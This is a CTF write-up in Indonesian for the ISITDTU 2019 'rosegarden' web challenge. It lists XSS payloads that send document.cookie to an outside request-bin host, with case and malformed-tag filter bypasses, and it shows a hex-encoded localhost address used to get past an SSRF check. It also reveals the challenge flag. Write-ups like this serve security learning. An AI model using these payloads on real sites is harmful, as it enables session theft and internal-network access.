[ISITDTU Quals 2019] – rosegarden

Challenge Description : Rosé is a beautiful singer with a sweet voice, but she is so much busy and she needs more staff to work in her garden. Diberikan web http://45.77.247.11/ .

Saat mengakses web, yang pertama terlihat adalah sebuah webpage yang dihias dengan picture/video Rosé Blackpink. Terdapat “home”, dan “Send request” yang melakukan redirect ke http://45.77.247.11/request seperti dibawah ini.

“Send request” dan “We’ll keep your website secret” dari kedua kalimat ini, pada saat itu penulis langsung berpikir untuk mengirimkan request berupa XSS untuk mencuri cookie admin. Penulis berpikir bahwa “request” yang kita masukkan ke field input URL akan disimpan di database dan kemudian di view saat admin mengakses websitenya dalam bentuk sebuah table. Sehingga saat webpage load, javascript XSS dapat dijalankan dan cookie admin yang mengaksesnya dapat dicuri. Penulis menggunakan sebuah webhook yaitu www.RequestBin.com untuk mengumpulkan request yang berisi cookie admin dan ditampilkan di page requestbin kita. Tapi tidak berhasil dan selalu mengembalikan error message berupa.

Contoh beberapa input yang digunakan antara lain :

  • <script>document.location=’https://eniqzyw8y8vi.x.pipedream.net?c=’+document.cookie</script>
  • <ScRiPt>document.location=’https://eniqzyw8y8vi.x.pipedream.net?c=’+document.cookie</sCrIpT> (filter bypass case sensitive)
  • <script>document.location=’https://eniqzyw8y8vi.x.pipedream.net?c=’+document.cookie</script< (bypass dengan html tag yang tidak lengkap, karena browser akan melakukan koreksi secara automatis)

Tetapi semua input yang dicoba tidak dapat berhasil sehingga penulis berhenti mengerjakan sesaat, saat beristirahat penulis mendapatkan info dari discord official ISITDTU dari problem setternya “coba berpikir lebih simple”.

Ternyata, penulis melewatkan pengecekan http://45.77.247.11/robots.txt yang memuat

User-Agent: *

Disallow: /source.zip

Didalam source.zip terdapat app.py yang berisi :

Ternyata error diatas disebabkan oleh 4 validasi ini

  • if len(hostname.split(‘.’)) != 4: 0/0

jika input hostname ketika dilakukan split setiap titiknya tidak mencapai 4 bagian, maka error

  • if ‘127.’ in hostname or ‘.0.’ in hostname or ‘.1’ in hostname: 0/0

*jika 127. Atau .0. atau .1 ditemukan di input hostname, maka error

  • if inet_aton(hostname) != b’\x7f\x00\x00\x01′: 0/0

*jika output dari inet_aton(inputan) tidak sama dengan byte x7f/x00/x00/x01, maka error

  • if not port: port = 80

*jika tidak disediakan port, maka port akan di set sebagai 80

Jika diambil kesimpulan kita harus menulis ulang ip 127.0.0.1 dengan format lain, dapat dilakukan dengan octal atau hex. Penulis menggunakan ip hex ditambah port 3333.

0x7f.0x00.0x00.0x01:3333

Flag didapatkan !

Flag = ISITDTU{warmup task is not that hard}

Leave a Reply

Your email address will not be published. Required fields are marked *